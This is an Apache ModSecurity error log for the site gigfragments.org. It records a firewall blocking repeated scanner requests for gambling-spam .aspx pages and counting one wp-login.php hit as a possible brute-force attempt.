[Tue Feb 17 19:42:17.184963 2026] [:error] [pid 13106:tid 13114] [client 217.182.195.179:53708] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZRUGbBEWrYCV-0FRdoKNwAAAUQ"]
[Tue Feb 17 19:42:19.145507 2026] [:error] [pid 58659:tid 58662] [client 217.182.195.179:56264] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZRUG8DX32iTEO4jt29JnAAAAME"]
[Tue Feb 17 19:42:21.193154 2026] [:error] [pid 2606:tid 2635] [client 217.182.195.179:56266] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZRUHVFV84PnUA8QSAioTwAAAkA"]
[Tue Feb 17 19:42:23.228511 2026] [:error] [pid 58558:tid 58640] [client 217.182.195.179:56268] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZRUHymIxlfUL2nViZzt6wAAAJI"]
[Tue Feb 17 19:42:25.116663 2026] [:error] [pid 58551:tid 58574] [client 217.182.195.179:56270] [client 217.182.195.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZRUIa1t8eWr-MgFspqWdAAAAA4"]
[Tue Feb 17 19:46:17.155800 2026] [:error] [pid 58552:tid 58602] [client 103.77.106.246:50189] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZRVCTBHVJP2Oz3yR5ctowAAAEc"]
[Tue Feb 17 20:56:40.937052 2026] [:error] [pid 2727:tid 2729] [client 93.218.116.155:58594] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZRliCIYJerZs7d7DPuJdQAAAoA"]
[Tue Feb 17 20:56:41.523098 2026] [:error] [pid 42555:tid 42581] [client 93.218.116.155:59068] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZRlifCCGB-bBphvas3BdQAAAZg"]
[Tue Feb 17 20:56:42.107858 2026] [:error] [pid 58551:tid 58570] [client 93.218.116.155:59077] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZRliq1t8eWr-MgFspqvYgAAAAo"]
[Tue Feb 17 20:56:44.722128 2026] [:error] [pid 2606:tid 2636] [client 93.218.116.155:59116] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZRljFFV84PnUA8QSAi1kwAAAkE"]
[Tue Feb 17 20:56:45.322274 2026] [:error] [pid 2727:tid 2742] [client 93.218.116.155:59126] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZRljSIYJerZs7d7DPuJeQAAAo0"]
[Tue Feb 17 20:56:49.396082 2026] [:error] [pid 2605:tid 2609] [client 93.218.116.155:59194] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZRlkRliizaiVjfuA2CH-AAAAgE"]
[Tue Feb 17 20:56:49.995077 2026] [:error] [pid 58551:tid 58577] [client 93.218.116.155:59207] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZRlka1t8eWr-MgFspqvfwAAABE"]
[Tue Feb 17 20:56:52.824761 2026] [:error] [pid 58551:tid 58568] [client 93.218.116.155:59254] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZRllK1t8eWr-MgFspqvhAAAAAg"]
[Tue Feb 17 20:56:53.424257 2026] [:error] [pid 13106:tid 13133] [client 93.218.116.155:59267] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZRllbBEWrYCV-0FRdoa8AAAAVc"]
[Tue Feb 17 20:56:55.744485 2026] [:error] [pid 58659:tid 58672] [client 93.218.116.155:59302] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZRll8DX32iTEO4jt29W_AAAAMs"]
[Tue Feb 17 20:56:56.344275 2026] [:error] [pid 2575:tid 2578] [client 93.218.116.155:59310] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZRlmM0nHzM9JGTFE557IAAAAcE"]
[Tue Feb 17 20:56:58.672697 2026] [:error] [pid 2575:tid 2592] [client 93.218.116.155:59342] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZRlms0nHzM9JGTFE557IwAAAc8"]
[Tue Feb 17 20:56:59.263976 2026] [:error] [pid 58558:tid 58637] [client 93.218.116.155:59373] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZRlmymIxlfUL2nViZwCOAAAAI8"]
[Tue Feb 17 20:57:01.464008 2026] [:error] [pid 58552:tid 58603] [client 93.218.116.155:59395] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZRlnTBHVJP2Oz3yR5c-igAAAEg"]
[Tue Feb 17 20:57:02.108300 2026] [:error] [pid 58552:tid 58604] [client 93.218.116.155:59402] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZRlnjBHVJP2Oz3yR5c-jAAAAEk"]
[Tue Feb 17 20:57:05.510278 2026] [:error] [pid 2727:tid 2747] [client 93.218.116.155:59445] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZRloSIYJerZs7d7DPuJkgAAApI"]
[Tue Feb 17 20:57:06.101339 2026] [:error] [pid 2727:tid 2742] [client 93.218.116.155:59453] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZRloiIYJerZs7d7DPuJkwAAAo0"]
[Tue Feb 17 20:57:08.841241 2026] [:error] [pid 2575:tid 2584] [client 93.218.116.155:59474] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZRlpM0nHzM9JGTFE557JwAAAcc"]
[Tue Feb 17 20:57:10.193291 2026] [:error] [pid 58551:tid 58561] [client 93.218.116.155:59489] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZRlpq1t8eWr-MgFspqvmAAAAAE"]
[Tue Feb 17 20:57:17.984372 2026] [:error] [pid 58551:tid 58569] [client 93.218.116.155:59588] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZRlra1t8eWr-MgFspqvpgAAAAk"]
[Tue Feb 17 20:57:18.618751 2026] [:error] [pid 58558:tid 58640] [client 93.218.116.155:59596] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZRlrimIxlfUL2nViZwCSQAAAJI"]
[Tue Feb 17 20:57:20.753676 2026] [:error] [pid 13106:tid 13120] [client 93.218.116.155:59616] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZRlsLBEWrYCV-0FRdobDgAAAUo"]
[Tue Feb 17 20:57:21.384716 2026] [:error] [pid 58558:tid 58627] [client 93.218.116.155:59619] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZRlsSmIxlfUL2nViZwCTQAAAIU"]
[Tue Feb 17 20:57:23.667279 2026] [:error] [pid 58558:tid 58641] [client 93.218.116.155:59642] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZRlsymIxlfUL2nViZwCTgAAAJM"]
[Tue Feb 17 20:57:24.280647 2026] [:error] [pid 2575:tid 2578] [client 93.218.116.155:59648] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aZRltM0nHzM9JGTFE557MgAAAcE"]
[Tue Feb 17 20:57:26.620169 2026] [:error] [pid 58551:tid 58571] [client 93.218.116.155:59666] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZRltq1t8eWr-MgFspqvxwAAAAs"]
[Tue Feb 17 20:57:27.229960 2026] [:error] [pid 42555:tid 42565] [client 93.218.116.155:59673] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZRlt_CCGB-bBphvas3BkQAAAYg"]
[Tue Feb 17 20:57:31.901150 2026] [:error] [pid 58552:tid 58613] [client 93.218.116.155:59700] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZRluzBHVJP2Oz3yR5c-vgAAAFI"]
[Tue Feb 17 20:57:32.487822 2026] [:error] [pid 58552:tid 58603] [client 93.218.116.155:59702] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZRlvDBHVJP2Oz3yR5c-wgAAAEg"]
[Tue Feb 17 20:57:34.819501 2026] [:error] [pid 13106:tid 13122] [client 93.218.116.155:59724] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZRlvrBEWrYCV-0FRdobIAAAAUw"]
[Tue Feb 17 20:57:35.489294 2026] [:error] [pid 42555:tid 42568] [client 93.218.116.155:59732] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZRlv_CCGB-bBphvas3BmwAAAYs"]
[Tue Feb 17 20:58:30.669634 2026] [:error] [pid 58551:tid 58575] [client 93.218.116.155:60106] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZRl9q1t8eWr-MgFspqwtwAAAA8"]
[Tue Feb 17 20:58:31.315625 2026] [:error] [pid 58551:tid 58580] [client 93.218.116.155:60250] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZRl961t8eWr-MgFspqwuAAAABQ"]
[Tue Feb 17 20:58:34.026388 2026] [:error] [pid 58552:tid 58609] [client 93.218.116.155:60254] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZRl-jBHVJP2Oz3yR5c_CgAAAE4"]
[Tue Feb 17 20:58:36.466480 2026] [:error] [pid 58558:tid 58632] [client 93.218.116.155:60286] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZRl_CmIxlfUL2nViZwCswAAAIo"]
[Tue Feb 17 20:58:37.146563 2026] [:error] [pid 58659:tid 58670] [client 93.218.116.155:60292] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZRl_cDX32iTEO4jt29XggAAAMk"]
[Tue Feb 17 20:58:39.194426 2026] [:error] [pid 2575:tid 2585] [client 93.218.116.155:60314] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZRl_80nHzM9JGTFE557XgAAAcg"]
[Tue Feb 17 20:58:39.797620 2026] [:error] [pid 2575:tid 2600] [client 93.218.116.155:60318] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZRl_80nHzM9JGTFE557XwAAAdc"]
[Tue Feb 17 20:58:44.887425 2026] [:error] [pid 58552:tid 58619] [client 93.218.116.155:60350] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZRmBDBHVJP2Oz3yR5c_IwAAAFg"]
[Tue Feb 17 20:58:45.521705 2026] [:error] [pid 2575:tid 2586] [client 93.218.116.155:60365] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZRmBc0nHzM9JGTFE557ZQAAAck"]
[Tue Feb 17 20:58:49.300563 2026] [:error] [pid 2605:tid 2610] [client 93.218.116.155:60378] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZRmCRliizaiVjfuA2CIXQAAAgI"]
[Tue Feb 17 20:58:49.891145 2026] [:error] [pid 58551:tid 58572] [client 93.218.116.155:60388] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZRmCa1t8eWr-MgFspqw3QAAAAw"]
[Tue Feb 17 20:58:52.143854 2026] [:error] [pid 58552:tid 58602] [client 93.218.116.155:60413] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZRmDDBHVJP2Oz3yR5c_JQAAAEc"]
[Tue Feb 17 20:58:52.776430 2026] [:error] [pid 2605:tid 2614] [client 93.218.116.155:60419] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZRmDBliizaiVjfuA2CIZwAAAgY"]
[Tue Feb 17 20:58:55.647079 2026] [:error] [pid 58551:tid 58573] [client 93.218.116.155:60441] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZRmD61t8eWr-MgFspqw5QAAAA0"]
[Tue Feb 17 20:58:56.235476 2026] [:error] [pid 2605:tid 2608] [client 93.218.116.155:60464] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZRmEBliizaiVjfuA2CIagAAAgA"]
[Tue Feb 17 20:58:58.417449 2026] [:error] [pid 58552:tid 58610] [client 93.218.116.155:60506] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZRmEjBHVJP2Oz3yR5c_MwAAAE8"]
[Tue Feb 17 20:58:59.041411 2026] [:error] [pid 13106:tid 13110] [client 93.218.116.155:60519] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZRmE7BEWrYCV-0FRdoboAAAAUA"]
[Tue Feb 17 20:59:01.295611 2026] [:error] [pid 58558:tid 58635] [client 93.218.116.155:60539] [client 93.218.116.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZRmFSmIxlfUL2nViZwCyAAAAI0"]
